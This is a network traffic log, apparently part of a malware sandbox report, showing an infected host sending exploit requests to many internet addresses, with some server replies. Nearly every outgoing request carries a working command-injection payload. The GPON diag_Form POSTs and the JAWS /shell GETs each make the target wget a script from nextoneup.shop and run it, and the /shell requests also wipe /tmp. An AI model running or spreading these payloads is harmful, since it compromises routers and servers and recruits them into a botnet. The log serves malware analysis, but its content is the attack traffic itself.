Apr 14, 2024 04:00:16.856134892 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
804	192.168.2.13	60502	37.64.107.229	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:16.856141090 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
805	192.168.2.13	55504	109.192.84.177	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:16.856162071 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
806	192.168.2.13	52668	202.103.23.157	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:16.856188059 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
807	192.168.2.13	50272	178.26.197.47	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:16.856225014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
808	192.168.2.13	41430	69.163.139.88	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.224874973 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
809	192.168.2.13	53182	23.41.161.203	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.325628996 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:19.603111029 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:19 GMT Date: Sun, 14 Apr 2024 02:00:19 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 63 65 35 32 65 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 39 26 23 34 36 3b 34 30 33 35 34 36 63 35 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 34 63 65 35 32 65 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 31 39 26 23 34 36 3b 34 30 33 35 34 36 63 35 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.4ce52e17.1713060019.403546c5<P>https://errors.edgesuite.net/9.4ce52e17.1713060019.403546c5</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
810	192.168.2.13	56946	51.195.220.184	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.351444006 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
811	192.168.2.13	44330	47.238.160.6	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.370645046 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:19.692038059 CEST	441	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.20.1 Date: Sun, 14 Apr 2024 02:00:19 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
812	192.168.2.13	45348	45.85.76.45	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.370793104 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:19.693762064 CEST	347	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
813	192.168.2.13	33548	185.153.151.196	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.372950077 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:19.697673082 CEST	1289	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 Date: Sun, 14 Apr 2024 02:00:19 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have been removed,
Apr 14, 2024 04:00:19.697690010 CEST	118	IN	Data Raw: 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f Data Ascii: had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
814	192.168.2.13	42962	107.23.217.196	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.560533047 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:19.793107033 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:00:19 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
815	192.168.2.13	54908	18.178.93.240	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.606972933 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:19.886187077 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:00:19 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
816	192.168.2.13	43798	123.22.39.211	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867546082 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
817	192.168.2.13	43542	5.222.77.161	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867569923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
818	192.168.2.13	36568	94.134.43.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867578030 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
819	192.168.2.13	60110	5.206.101.9	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867585897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
820	192.168.2.13	44990	118.11.133.171	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:19.867604017 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
821	192.168.2.13	46588	94.50.247.154	443

Timestamp	Bytes transferred	Direction	Data
